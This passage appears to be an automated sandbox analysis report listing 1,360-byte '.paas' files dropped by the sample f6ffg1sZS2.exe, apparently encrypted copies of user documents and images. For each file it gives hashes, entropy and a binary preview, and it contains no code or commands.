SSDEEP:	24:6dId8/lNJRp7NMuMk5lo89NdI2Gvm32/Q8FI7XA/NFFqUTy/bmHlIbD:+lHjpn/o8tIvDY8R/DFw4SD
MD5:	31842F2B98D329E5381CB6E8154B1C06
SHA1:	DD46EDC2D6CAAAA307362C63BCDBA0E47B418F54
SHA-256:	2B6A3521DD5558E6DF70323FF89D54B786817E2C9A2DB4CC497827DC5DA95B57
SHA-512:	43B8740DF9B20C3C4D380D91EEF94F6A70C0ECAA17965F2EAE20B3652F39C424CB96FFCFACD35808C455F8017B99CCEBF60F818B386C00E5C9214BA1D2F642A3
Malicious:	false
Preview:	DVWHK.u.?.B/......e....a...........\|Fm.U).11....7.u.W."..........).....s..]......8.({k-.#...R.$......n....[.... H.>.+(r...ut.&j..:.FE....;?"k...NuZ..B.....G2..P.....%.pw.t......<.Br...ly>..j.k.8....K^.sm.D.)37....f....h..P}b....,.L..:7........kU.;...jX>H.....o"Lg..#.y.e..+.).t..W...2b.:I....sZ.H.K....[t...-.....<hE`..}.....jf.r.F...IKG.b..H...SZ..B.^.P.(.F..$.I.)MC<<...v.o.bT...%.R%.._.s....y..,..DW..l..)x.z1^<..h...5.]....AHC+..t..Js..h..A.QmD<Aw.Mv.b....!Y..}n':...5?...D.. e.f"gmE.j.l8.9-b..jz.........,.k......a..-.l.......cKL.).o.3vw....f?.2........!..U....../.B...._..[N..P....Z-.......G...V.....5....Sj....$.........u.V.. ...{.C......%.Rg.C...!y...h..KB....B.=^G.v,.."..WVH...OCKb.....(.z`.f...@h{.......`).p...}.19~...Z.MI..@}-......lMnk..c.m.A...<.E.....oQ.(.i..lw.z'B.......#<l...+...y=..f.....@.0.....Bs.K-.GX....w.G.hx;..Qpp..]...p..S<c................p.....9...[P._.{pp..Y."t......<....>...\....s-.v.l..:..H%#D....T.u......k.~(

C:\Users\user\Application Data\Microsoft\Windows\Recent\DVWHKMNFNN.jpg.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857082450689217
Encrypted:	false
SSDEEP:	24:VjUUa/VKOWaKfoCmlH3l7TmXjNEivX6nEGvWYzDvpgEp1XlHFOSSSYEg29s+T+q7:C/VEajCmlV/ejNtJAhfxFOQYEN2+CYD
MD5:	E2C2A74C9F5B4908416E52745898C7F3
SHA1:	68323773EDF426FE4ACF34EB3755EB7271F701D6
SHA-256:	95511D53DFB5D8B0FE26655178C590E740DFAA8E615ACF74705BD3D88E45192F
SHA-512:	C0D6CFE9979F008721DE8FB6AF79E47926295A25C2E6DC6E512AC842E7A7B31797310F5F9E65080D93EDFFFAE6BAB74CAC0B0E2194FB02E59F4A471F598C261E
Malicious:	false
Preview:	DVWHK:..wT...G...f...~.L.v8Y(..+.."p...{...1MR.A7.. ....F>.:6.r....D.j.Kvu...F1g.$2..]...j......%.f..x.f.......H.Y.G'....o.a...28...<.../H.. ..A.=...\|.cd.W..:.8....a-\|..G........s.g.\..)...ER5"L...'.I..LK.T......_.yT.=...BM0w.\|.g?v..7....W.2.{.....jE.~='....^ZL.u...,....( .....ob\|/b.. ...5.pk.......3-.,...I+U.9.....c..[l(.+.. .Z..Vz{f...I.FPE....Q6Q...j.^.7.g.....rE....r_y.n.{....s...gn.Z,R..KA.l...Th........{f.\|rP..........75...'..._..@..b.h..[..+.w.z..2...U......1F_j..<.a<.....\OK0...ya^...p....\...L.i0[e,.#....1.{..n[.7.A.r..n.<p.8D....>.Q.,zD....HTD...=.....El.>.....n.......V.......$fa.NA....k...bp5....1...........N..vOT.opH...isS.......+..1..H.[.I....../...i`P...R/-0..2.eB..l..!/.[.N.d.zM-.eo(%m.)...>.$Jcz}.H...4...;...wJ...r..$._........=i.4.b.6Q...t.v..6EQ...........pO...9!.,S.A..UW\.;h.q..u.q.}l.kN*.:..8D0hs!'.?&.......... ..x....?L..i...\|.^..K.....'.....z.{x\|.\|...m..L.-.3.....x..7%...a..@.4..-...=Y...B....Gw..v>H..;..(....

C:\Users\user\Application Data\Microsoft\Windows\Recent\DVWHKMNFNN.xlsx.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857130731115019
Encrypted:	false
SSDEEP:	24:6wl6FSke9nBjuveXehIibAhkckLvhX5hIuIjPwKT/vCV+C9SGrIArM4QNPbD:ySjSY+/chXkbdhIV8SPipQNTD
MD5:	328FAE4C4F30ADA3A2F701F1416E0DFC
SHA1:	40122CA18D06BF877E9B84C8F0A22077076225E2
SHA-256:	AA113F7631062799FE065F23E19895E7A78E0FB6ACB87D22DD66063BC202B6F1
SHA-512:	97FB21016119805E136BF670078974DE2CC688E5FBBCCAB856D1DDA36118491395B0AC1089A52AF9934320B7489B5A4CA112F58A94CCFDED4D5929577BE11C89
Malicious:	false
Preview:	DVWHK.R]`.I..?.E....G....:~..O.zY..zp..?........J..5]._..C.B<....(..B.!..n..r.......Y'mo,.l........Y..q.....M2.h:.j...B<6....x.....U.}...!.PZ..J.....;...C+e#dT.U...P....9j...S.K.1.9......O.r..+.4.",.....m..k^..i4......1.,=..g.. ....R........Xj.\|'..A..v..QP....c.<...&(z%.\...6..../.. ....v...F.#qM+S/.7..L..-0.m+m.@.?.....w.eu..8......=T>v..-z.r.o.....U....ZC.......X.....kF.E.@.Y.g7E.......:....>.......9.qWF.2e..Y.Y...,..6T..N.l.4.&.......@].Z.....c7.6..Ge..)0gg...'...XO~.!.w.{.c...(..pf;/j...+..q`.K..MmO.L..E......N.._;.?.L.t.....;..D.b.. .v....L.+...+.e.....P.#3"p..d.NYh.4U...q..\.\5.UL.`....R.]>....H.7..l............}.rFn.~p.....j.R.w.c.!.d.S..j..9^!..?.....S...B.g.Ui...M..I.......q..rO$c...^F.s.2'\.p...K... ...M.z.8..g4.b.Y.h.IG.grb..A...b......K...=.}O...8i..pV....7s..f.i....F.....8.Q}:.Z....[..Vy=.o.L...@[F...m...wv.1.....=..u../.*A\...u.5oz..d.!.9...f.....P.L.F6.YS2........6.BD....+3..kH.dM......1.r].....<)!.!`.I)nu.GE

C:\Users\user\Application Data\Microsoft\Windows\Recent\EEGWXUHVUG.docx.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.832321785406742
Encrypted:	false
SSDEEP:	24:lT1377JlpdhbexNwsvPpu3zzjUXwpFG7qZJ9u03Hg26KkEVLC2reKbD:xJ7Ffe/nvP8zzjUB7EzA2lkEVLrD
MD5:	BE3A392AB64FA08BE8CAA461801BA2F5
SHA1:	E8B51CB59DF848534B42610E587E2783536F31B6
SHA-256:	B38D48C45E0862B8E4837CB9887F559AA5BD2255081C412841B7A7EC869BA8BD
SHA-512:	A0EF138A23C4ED661D854CBBBDB63E8850245CA3AB565D851D992C87899AE44F7ACA83F9DBEE0D1CC4A7000670923107ED3C8C5E0C0C94E0B17E1952C62015C9
Malicious:	false
Preview:	EEGWXr ....7.n...c..w...<..zWjk.R..J_......X.o.I....pTX.......L8Z......P.q._.5(..=...^......@S.%>..8>....`8R(V.\=.=...!2.W<2.....;.....s.....j.X.P.3..P..X~^j..G..r..hQ.g4FP.n.l..^..Z..ak..4.?b./8g;....e?=+.P...N.\..I...(-...i..p.....dAm?~....{IQt...9.%\|.$8....s.....R.PR.KE...k...-...g.Y...7..c..Q...D...A.I.D?~.z......G....T.....T4$..l...em.....8.+x;.Zo..N....i....SS.P.....9............C\|.aLG.DF...n.B..1`cZ......ke3..*>d.../..n..cX...;......l..e...o0/<......<.Y.dD7.p.+..p4....`. .........x......o..A.....i4.W.!.x.apt"V...`8.L.o!P\|n.........S..aA...-....'....i]=.Pd.^..:..:=wc....OE......Wi....:....7.Fa.Z...~1...F.4.....Q].p.0.4.s_........$......2#.p....n>..B....i'...>...g.\|.. ...Q>X..........cpw.\|..fa.V......k(7.A..G.x6u"..q.-..6c...6..W....'.zhV.._G..8......l...Wu..S6}.-.....%lj.y.z............'-.tQ_.yS:.....mz..A..1!7k.%c_..O.....!......^...2A...K9..8..cg...p....Uz.....S..`y.....o..)...)...."...t1_.....S...u......:........1..jJ..3...)<]

C:\Users\user\Application Data\Microsoft\Windows\Recent\EEGWXUHVUG.jpg.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842373047266433
Encrypted:	false
SSDEEP:	24:T93CMy3u9kDXnq2mo6IuoEM0bSt2aRjNiqtHQ5L8pMoS+KC707vf8bD:h35yYoa2mouM0zaRBiew5LoS+t0bfWD
MD5:	A7A503F6E24175F62A1B89BDDD9F15AC
SHA1:	DA320D1C1936A0CC4D760598F2358C222A04CDBF
SHA-256:	9FA633C497846E0AAD7B7EF6464FECC67DB38C69E2198D2954C8D88138CA93F9
SHA-512:	CD96F8CC142FB02E871DE58378794F7CF51AA17BAAAACE872733E766CD560FBE97A137A2DE8AC85F23BFA774319FAD6B527001537D1BF15A74D6977F09EE001C
Malicious:	false
Preview:	EEGWX....o./.w..0...P..(..R.t.A.6...R.s...2......7R%.C....k.9.?..?...C...o.:.G.....\S.h^7.(\F..R.2.Imb...6nT...!TY..G..psK...^Pw<#..g..m.f.t....5.%.(.T..?..h ...T.......zk....t.e.x4..iZ.L.I,6.......xK.F.[.Tw;...VR....)mDb...~..G...fBu..._.f.w.P..\e...Y..)5F...s.....\(...w.....Wlf..+sm.h.s..W.....~......b......:.S....n.@%.J'U.I.........xR/..d...A..(.u#.4m..z.$.q.s..'......f._.....o.r.T...i.f-_u[.2...gin.....n.-7eN..3?..d.1..m.X.%7.b.u...9;...........uT...h...c.Y..WST.?}...e..$.qes.......a%..Z$4.2..Q....#t.......a..R..Ai.O....<L.c..r...1.Q{.....>.d.....''!.=$9....Q...V.r.`.l....l.+`..x._.V... Z......+IA.J..=9S..oD.}&.:..v.^&.f.....OO,.2..^^4.<.#...>..R..<7..s.H...G._P.J\|.@bmf..S&.{.p.....[\c.V....N...~.9.....3..q.>.!...x.X ...nE.B.h.O..Oy.c.W.:z.It...L.c.0.P.........b]...K.&.S....W....M.z.W......(.'..%f.\...{...CLm..7.[.....w.7...R7..8Rw.R.R...}...[....R.j..E......F.v6.m......x0...].Os^P.....E.kh.2.6.j\*.....<Z4j..,>k#....4sof

C:\Users\user\Application Data\Microsoft\Windows\Recent\EEGWXUHVUG.xlsx.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.87607434233345
Encrypted:	false
SSDEEP:	24:PeCpN0H0ujybzqKyDh7uJA+zitCA5CInKSsF6R6GcYlefHbK/bD:GCpN0H5j2BGC8tgjFiKzfejD
MD5:	FEF680E62D9DB79BBF0168EA7C4D08D3
SHA1:	C3D6267C9F5B1D64F633DA94C1B40233961454AC
SHA-256:	E6F8BF67ACDE9F1523973AE394F08ECAF428C95D68547742735AD07DC4B6252A
SHA-512:	A7ED7DD20D907427F85F5EAC9C6D842AE0E51E994A6F4039BB52D4937CF57824FB4B49B813CB55C966887AF334B195CDF06C0877FD964176042B5C26D73FD658
Malicious:	false
Preview:	EEGWX.s./.!L.tJ2o...+.......a..h....<.....,.=2...G]..K..Uy...uyD.m.....i..G.5s..X.....PB.W...;`1a..i.M...X9On.....8e>...d....m.].N.....).R0..2.....H(.^n.%....v,.<...S...6.....0.~....{.......:..:9~/p....:..ep.Apf.F+...;.N.......jD..`.I^.`.l.w.g].).&....=.W..i.f...".....u..P5&..........X..e]...3l..[...N..b.7..........<.+...k...L.i/64._x.B.}/....#...B~...>.PhS...&pR..=^-dwL....!s....yib..Y4.:.K.u.....'.c.m.%c..JW.".....!..U.D...5z6F3.wP.......DX...\|...5.bI....lU..TK..l.k.X ....N....F.N.1...3O.,e.q.U$x'Q....6...e\~..mqz.8.\|.t.\|..(v.\.U...#.~.w.+.W.....@..C.._...._._y.....\.e.z}`.V....vL..@..(.....,...O<.[..9.S..I[-.Q...A.r%.&..TzCf...hE.......J..t.~k.I.p...G...\.B.z..R..~4..........m..\|sG..p\|O..X^..Ve..k..=.Z...a..O..$.......M..a...Z.a..y...ot..\...Y.+O.!a..... ....Q..t\c...0#~.JK.......G....].~...X>....%..5..+.8....M...#.n....=..... f..'..Jo..)I.C.[:..3..Y.W.k.u.`.)...(.v....N..../#.O.7G..B!l..m...zR..6H..:j.....@..l.>6.yC3.

C:\Users\user\Application Data\Microsoft\Windows\Recent\EIVQSAOTAQ.png.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855353958791115
Encrypted:	false
SSDEEP:	24:RN2tz5PFWvXAmmoZ5HIHI+NVyC+HSkbtI5nqCEfA0NB3mbrl6IAL561zu3Ay03bD:6ttP2zZ5HIoyJ+HSsq5qCEf7Tqx69L+n
MD5:	D62C91DEA738CAE350DEE5DD7308560D
SHA1:	220470C3AEB2FF3948D6572EF03BBAB712FE382E
SHA-256:	8799E1DAC0E679D72B0D0DEDC41447968787AB54446027ADF9C2062D20CF98F7
SHA-512:	5BAC7DA0AD5202868AECB415E49AE71E323894FD7C3B34278C294622340AFE5C877C857F9084B3CDEEB21D74C9224DC548EA1524EC7FDDDCA03C90F93799BBFA
Malicious:	false
Preview:	EIVQS.....t(..e[.*T....]q.i..z%q'..,of.....\..X...K=;A.V...A......J....5.6nF.Z...Pw......%.+40.....w1!N.>2....\....R.f.....s.A#....;....D..9..#.N!.J.Wk....u.[.3h.....N.uJ......N&.w.b.\.w;.1.ln6..1...V.+y.%.,....O@.+...Z...i_.\|...\|e....@5 .QJ.x..(........mb/.i...fd..........KK./.3....<..A.b.\6k5.......F...!.....E...X.Z...".....3oA$..&...Ed.X....Oc..(...M.Lc.6.q......,.2..;.K.{o=.....F".,.......M..nE.;.....b...>....H...k...$.......ZwT..k.$o..Jg..R..........f.FN...x..T.r...Jf.E.^a.;..8RY........h.#..h..I..=3..f..."ky......n......H..5,GBtmL.k..AI...."......u.E?....f.a.c.@.",z...O...qvv.ip.H...\.c[-'.-...\|..q..J.4.......3..K^...24.......s.8..J[....~../.uA..+0%..R.x.=......%..4..U.-..8_R.V.5D...".!../..m..sv.z.V.<..@.t.G..:..%.p.o.<.C^..p..#..g.8N>-..q]......#.G........3..ij...hh....{.O....Xae.....t.JQ.......`!I.'...c.2..<..7.pqp;......./..O.....2..1.........^....%..S..M.....~.4~...WI#..Ch.@....%~....$.G.A...K i...8....3..y..4..Vd.T........

C:\Users\user\Application Data\Microsoft\Windows\Recent\FENIVHOIKN.png.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835533431596844
Encrypted:	false
SSDEEP:	24:Y1Gzb5qBogFoykJ0SPRGkluQdDA3ThgrExr1dny2XS6IKQLHW10McC9bD:YkJqfhkJ0SMUuCDAjWExrTyxuwpMh9D
MD5:	8C7ABF6293C21FE8B5E32A724FE55426
SHA1:	DD56B0BB89CC2A92E19BADDF5BC3C2DF499BD48D
SHA-256:	39E3AB4035F2E0F5FD83AE189670F1740DD33EBF6CFEE6442D97D7FBC595BB57
SHA-512:	2617939E2D823B7D0FB8BE155EDEDE2D47717FAAF176BA8175D7AD6A5833F9C5E4D73A685AD6B50BF15FC5993058D162E563F2EB1EE064FC4D7C2579670B9163
Malicious:	false
Preview:	FENIV....N.$p$...{....4j..)c3.. ..lX...~)P.yP.2....P..`.c.........w...=.H...V.a..j....R.^.@"....1...=....a.....f....C.,K.}q.^..(.M...J.(..:v....1..c....8..W.....Q..]9bn....=x..Q.....g..M;."..c.Y...#I?>~.4ct.N#.w..d.#..WB..,.w..P-r...7..O..!{v.4..Z0..%...h..=Zl.F^E.gv~bzz..y(.=.eO.=7..k6`..rCGi..m.<.k..G-1..,.5.vJ........8.8.~.4.;KJ.nY..1.Y.S.:.7..pi;\|...}..6..)F.q.....G.p+..l.......mQ.O.DG................?d.l`Gv.H...,0.IeW...q3....5n.@........ S.O.p.{..1....jT?I.)Yv$..X...........H.xJ...h.!.....D..,....c}c.......$.H..G.f...,..M[.C...5..H...8X..":..W..y..6..\|..2P..b..7.r..I.5...4v.R..6%....Iz.....+...e\........hl\|DM.}x")s8.E..S.C.WMfWC........;0......b.+.~...\|...F...4Y...OKm.w.b.......<.\|J..v\|...S.O.G....m+.k..Q..a.#..".W....A.6...Z\|:.).G....Pq....U.g....e f.......K......".....I...;j5.e.V.8zf.4..D Z..!).+rt..F$......"`....Q<..p..\|M>..\|L..9...C..k...eb.*.~.IIa.]..........2+.z....6....t.J.V&.....X...`JX..D_.!.\y.1..Q........v.2.

C:\Users\user\Application Data\Microsoft\Windows\Recent\FGAWOVZUJP.png.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858984901537034
Encrypted:	false
SSDEEP:	24:Sk84Y8+LF0P1OeSpyBymRbpN+/rB/s2a5vz68dlaNSoTBIRR4Ib74OIuxabD:Q4SpykmA/rB/s2aVlGSoTmRR4e7eD
MD5:	F5380993FD18A2906DD9AD2E46FBBEE5
SHA1:	4B68AB3478DF426D09157AAB22EA41F86347DC88
SHA-256:	55200219ED894F761411F381EC8A7C982D6A0EB015EDE9F8C9AA36CCAA1C8924
SHA-512:	B795F0FD674D0EC1572C2B3DD87606A665F1B22882F65CD6C73559AC801790255974AB2A1F30EE60531ABE13BF4C223CAF1281F132ED483BA9341FF8C30EAB57
Malicious:	false
Preview:	FGAWO:z.XA...t.94..].Q.y.h..2..f..UQ.s..4...Vn....V...5..1,......8..vn..........1....{`T..c.k..a......4..Lcayf:.....e2b...{.?...T7F.S]'P.=.XYJ@....{`'.w.....o?.,>Z....:.u..-vb"..s.\..B#......~2.B.[..Z."+...H.....S/B....n..$l.>...d..`...#'C.=...,.~..l."%....G..a.B{../.........7.....Zb-[..>..M.P....>....W....:>...Y..<L.V#....^..3"..j'h..L.......?..[y..<......n..e)N....x.3.D.'FI.....UX..@.._t..;Ee..{n....s...<_.e.td..$.~..+/:.:..g.(Cg.n....N.....p.k.I.K...)I..5.W}@>..f.....2....EO..{.<$(..kJ{......./.. .W.....[.....D..h..X...'./T.A.....q._.\|../..y1...o.L.@M.p.YS...LH`...yz.._.....8./...BR5.W..i.=H.7..`...\|.h....x$;..&E.CP].l<...u....m.x\|.dp...e..!..z..Y7.'..A\|.d?.....(.i..Uo.....r.......a..vE1..9....q.N..C..$.z...u...I.5..R.].*k1f\Zg.R@z..>!.X....'.\A..m..U..{:ph...F..D3.R.(...AC.E.[Mt.<...G$d..,.......@..4[.1E,....o1.<._..d^....g...bd..V.D,^.%...6$._g\....u...u~#-....Q....4.m^}s...c...n\..K..B.2....DM......zf.8."........b...h..u..b....5.

C:\Users\user\Application Data\Microsoft\Windows\Recent\GNJEVOXLLS.jpg.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.820315796467827
Encrypted:	false
SSDEEP:	24:/cmnisu88T4hhP6cxerS+iPyrVBqFKPN4DVPjzxinYELobD:kmisuz4hhnaSNy+IPN4VXxivLyD
MD5:	B8652C36432E562E4313C1C4CB66A802
SHA1:	0C392AE955A4BB8C3730EF4B49A818EE670E5732
SHA-256:	ABA7550E6A9591F6C3BEB031955D4C0D681645901B351BA0C2B63FF6623AE901
SHA-512:	91DDB1A72109F346ACB0E1A31CDEF1ED5465C476ACAB73AFEA67D89B9A8902CCEB617EC5524996DDDFC2C582F0637CD148117A08D1C1CD6FA12A202D322DA7D1
Malicious:	false
Preview:	GNJEV...2C...}...F.....m...u4...!Ez......`E...6W....s....0..U....z.%.V.`A.....KoR..X vp.........p._Lu..P..y.b2.Ow...)c^.{.Y....o.'........x.?;..0..9<...x .DB.}/.....FLK..+..p..MwN0.b@...yRb.b...{Td..f.R.A1B.6..m+\Z.....Q...G.>)....u..>.#...@..z....m.ED.e...S.....Q....#6...~}.X..0..P.. ..y.._<;y7;...j.....3.^f.&.-.....y)...-pn-G...NNT..\|.....1....$...!..V..`U.....2.Ov~.!&....$..6....A.68.9.. ..z..>..pQp.qT..^.,.9[.d..._........_...a.!..U.s...e.SIx.."...S..%....;.kY}....).\..........m.5...Ztl..ugp;..=..-.QL...9..V....p.a....,....9..fK.....<N../...?SL......W.~{V'..pQ]~.E.V..RQ.w........b....i..9.c#...V.....p2e.}..5.Rag...{Z!.9.<..j..t....FS.z...b.y..[.;.%.utt4>..j.39...j..!@....K..1.9.e.H..at9..U^..._.6.z.n...W..6.l.C....kW.zi...J.......1B..&.t.\\|..W.3]..(.\|..)..eXS....u.....".....q.......U-...n...3L.F.........EM......nI$n....E<...$.]..<:8!\|.=Fu.E......D......r.;B.......B.....`.O.s.uTgE.. .e.......H.j.).ydbi...L..@qQ.I\D....o..t.4.A

C:\Users\user\Application Data\Microsoft\Windows\Recent\GNJEVOXLLS.mp3.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83949637784445
Encrypted:	false
SSDEEP:	24:/LDCY0o+VH3NYWTzBJfDtSmzJ2OXVnZ9+ouDv9wNOjzYQVMg3rBbD:yJok3NTzBJ7AOXz96DeQjzYQVMM1D
MD5:	17356C5CDF4BE4BCFBBE5C936DCF9F5F
SHA1:	96B282CA24D0ADBCB52025AEBE08D640B332D36B
SHA-256:	A49B381EFC74E3622E284A55D30D25B3D2B29AA1AB819F57ABAB60BA0AECD639
SHA-512:	653A3EA12D23DAAC7E70A003990700B7BCD91FCC93933381C73ED4CACB162C63AF1703D1FE3F82D28936BCA7810059FC8E11C6F6F0DF3C15C41DEAA09EF42335
Malicious:	false
Preview:	GNJEV64....Y.......!MX.0..z:....Owz"K.\|......!w....I.....a..Y...E.....t}....}........3+.T..(.S....2o.\..n...!..~.5Oa.(Vq.<..]......E.-.,.~....P.\|7.w8./.._.GPf........R>MVT]..2o.....P{..dh..C..<3.E~.j...z^u3....n.5V...{%v...3..._q...XJ.}3..9..%.\...r..+m..&!G...Q..]._<....\...;Q,.5a..5..........d.;.B....".?Hm1\|.............^.:..TyW..t.....C...........I...?.B6j...1..(j.....z..0h....(..v9Cv..iM9-I..\..+ ..l..X.....Y......Ac...fuX.ban.0}..gu.Cm.%...<t.jp$.&.f.K:\0..R.....Yo.....q Hg....S%..;..&j.)r!....m.Ffs=.....n.).Upx..g<!^Yi.\I...)..?...j.^.f_....h......l.9.0...*....f..K.. i...`.X..m..t.##...}b..1..a.~..c..d\L..R.....-'t,E.&.L....,.\!.$.'...>"..i......`..5e t..Lh.L";3...W.U..P.J$.>..z..E.....^.{.G..X[..J...^.kO....L.xib.zP5c.[H.Q0......K.p.K......4s......q1..$fu....w.}..:.;..QC.#P.]..[D..c.Zb.......a>'.k..."..S...\|..o.<c.,.b......y.....z.}.i!5.ix._!Y.....}m...n/#Z.B..H.L:B..,..........p+.;.eC..R.6.H.^.i7.5........p...`.j.j...R....k.

C:\Users\user\Application Data\Microsoft\Windows\Recent\GNJEVOXLLS.pdf.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856124288146268
Encrypted:	false
SSDEEP:	24:/XGVjxVaKFc44W8E6cuybO1YGmPv1vulTMVFIUddCSsGgtw4JrYuLFKjEUuc6bD:PSjxVaKm1Wuc6Yp1GlTMVdaSCvYuLwzg
MD5:	B902291395557BA40E21B4A1C960F24D
SHA1:	236C45FB2B47DAD592DFB629E02E11448EE7CFFD
SHA-256:	CC361742F4A23517AB03CB3854A0415E85C504EE71F90AB6D013C7F7ACD21693
SHA-512:	94F97563612423184279F3F67F5A1374FCBFB406CFE83E9B54D7D33CC093714B78DDF947BB2A2DA557E416E45F3D00487ADE468ED74E3F7ECA4FB0271D776B69
Malicious:	false
Preview:	GNJEVJ.+..........ny%....\|..J...>.>@...C,.i...t.."...M....%>......y ..?j.K...........e..kW.Ip.o.G.....t../.Q.6....0e..fZ.\....n...X.i...s.8y.M.I....;/:.......4....7jB.>........x.Q.v$.zD&3.#.......74=...c3.y{......._..^../.o@?\|w,.o.q.1.(.]..$O:...n.~h...LxT.r...Ba.r..$r_....E..e...C..3.*....A.F~>...4...s.jkV.t.Q....P.mG....g&E.!...I.......3.',.Z.S..V".S..x.GeH.......\......Q..SD1#U.3cte....).x..ok...0..{..i.........,.\.fcED...9(.\[..`.~....0y.c.. .....)8/.%I..N..rhr..g.-...S.]m..-.H&l.]6...M....Rt..s............2S..f0.9.ND\|.q.v......i.....0..s.r&...tG..g..4...(....q...1s....R....7+..>R.....c.A..}l..u./v....&...w.G...D.T.+h.#....U..H...oTW._.I.q..jfP..\.....r.2..2.9....\|n.=............D.~..I.u..bI\.9.x=......~.)......~".PTs>d^...............#.%.Q...7L..i(...R..1'0.,..............k.UsM........=x..."6^....zj..`.._.B#.,..sh.e2zS.]..j2w....]_...X."..i.!...f\|..{.L..v.r..s.@...jD..pS..c..av...3.1.\|W....$....F.Ry"s..._..Px/..U.K.@.o.%..)y...4..:..

C:\Users\user\Application Data\Microsoft\Windows\Recent\HTAGVDFUIE.docx.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8560449581831096
Encrypted:	false
SSDEEP:	24:Fv4RUWjsluvTYURJrtnhE0S2BsIKQ50qmtDfbD:Fv4RRQ1KJrTpsI350JDD
MD5:	77B605BC39A2F39DB8B9965231D23E46
SHA1:	80D3C6C4F55AA6300FEC5562E4D6ED8A0F46D157
SHA-256:	DEF0EE18F00ECF6CEFC5F13677DEE76ACF65EF8E9EB0ED828EFD79A2A43E8164
SHA-512:	E5A1457705EFB8C5644D467C96EE8B757B7810C07E406787B61FDF363B4B1FB50B56CB1AF0E0BEE175C0DE6AA4CB31DB5EC086CF46EF5148AAA4A12FB061D0BD
Malicious:	false
Preview:	HTAGV..g3.....<..x.....P.A..G&<.....d=...'%..^h.p!1#OO...g\.b.erq.N..s......\|.z....s..?.lK.s....8h!....Q?BO..i...O.; ..K.....%..xF..../.{.e`D...!6.^..O(.-/.+g..U.......n.lc..9[0.3...Mn..~...R...Hrxi:.:....[=.......U.c.UY.6&..[.t3TQP...4j..9...oA.8.].b...6.......E?$...k;.}...b..'.sT.k..,.....>..cw.............".5B./..u...F:.....#..F...kU....>z#.6..-..a+3y.y.e..I.q.MH.a.O......M....S1.....JF/.~..RH.-._..(.d][..,...2$..@.....p?.m.....6...."...-.^.>...[._l..z..\|.~.tu..q......!6].6...C.u1.).S.:..I0j>......c..+......5=u...._..0..R.+.v..y.s.`6o..X.d.....qE......i.........}>[.....6...me.[._~..6=5....:7!...."......\.<A..l..Eu,...d8.#Qwm&...D.........f.d.2._%.ze..U...........T....f......1.@u.P!xv...9....Y..Ya..q..'..X`7k..w.Y.j6....r...s6k.%...s.....L........<.'....yj9s.....+..W....t.+h..0.wd7M".,..nh.b..T.B..Z.+.u.\....O8.K.)&.../.....o-.y.J....#.N.i.....i.>....\|Pa......n~......q..A..w.R.6j.\.wJv..-V.9..x.....AU]..3...X.,S.%t...J.8.L.U.'...

C:\Users\user\Application Data\Microsoft\Windows\Recent\HTAGVDFUIE.pdf.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852663061368703
Encrypted:	false
SSDEEP:	24:uBjW3Pf1mtLqEzCY/2+4s1om5WUwLxny1O6HrViyNTwAfgkuV8KmdBmbD:uNW3PfQJqEzCYpMLhsbxEfiB0D
MD5:	49199DEE4589E4AB6B376671BD53FC89
SHA1:	DF08D5D11F9812059BD9A03CF032501CD5DE3A6D
SHA-256:	505DF846B53DDD2D632009D2BD43B2E03BA7A24A5D5AEE1B87DB8595FB9BBB23
SHA-512:	FDFBBCCAA9347F3A46589FD993576807D8009186C1CF252B8A946E25682132BCAD2A257737BCF0200B26B0D29B06C3B2C8EE3EB493E5AA7460C53109F654881A
Malicious:	false
Preview:	HTAGVSJ/...4Mi...R`g.....U...v..H...o)>...b...p. ..I.084q.......U.(sS[hk........M.XEg4........`. ..+Z..T.\......%3.m_...X.;Y..?G~....]...PT.E,.....S$v.R.r.....B..x.>..t.VP._...8G.o(.'...I........XPs.<........W-qH"T..5.j.w....z....Q.L.......fE?..9..8z...@...[.H.8O...9.(.6'%..l.+J..........y.O'1..}\|5V...[.....]7l..u.c.k.3I...Ec8...c.<......E.r.H.1Ab........0.L.......E>Uyyl......[..{. ....\|3e$.P...TL..!.J.+E#r.>...i.&..5y+.:m..d..}\|......](c.....f.c.=a.J2.F..P.1.....{..[.d.....l..Q......m.a.\=..1.5].i..c.\|..5.h...=..-.Q...V[,..O..r..x...,~....>..@....s8..Ey8.z..K...h.....JGV...U.'.....2.z.....o~..T....]3.-..!.C...?.F.jU..p!".\|...a.}.xmx..p.,a./B;.....=...&.m....Hr..F@.}......X..oO...N.S.$.l..&...@@..+....:...A{Xl+...E.>..d./..(...Z.Y.tS"..n.....Vp....>ML.;......m...&..q...S.!.......6...<...kT}Fu./..M..w 